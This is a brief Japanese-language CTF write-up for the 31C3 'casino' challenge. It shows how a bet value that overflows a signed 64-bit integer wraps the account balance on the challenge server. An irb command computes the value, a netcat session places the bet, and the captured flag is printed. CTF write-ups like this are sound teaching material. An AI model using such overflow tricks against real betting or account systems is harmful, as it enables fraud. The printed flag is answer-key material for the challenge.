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CTF/Writeup/31C3 CTF/casino

MMA

casino

64bit整数をオーバーフローさせる。

$ irb
irb(main):01:0> [-2**63+100].pack("q").unpack("Q")
=> [9223372036854775908]

$ nc 188.40.18.77 2000
Welcome to the casino. Your commands are: 'account', 'flag', and 'I bet <1234> and guess <1234>'
> I bet 9223372036854775908 and guess 99999
you were wrong the number was 87
> account
You have 9223372036854775718 units
> flag
OK, you won: 31C3_033fda2193ec453ed838609c6fdb5aec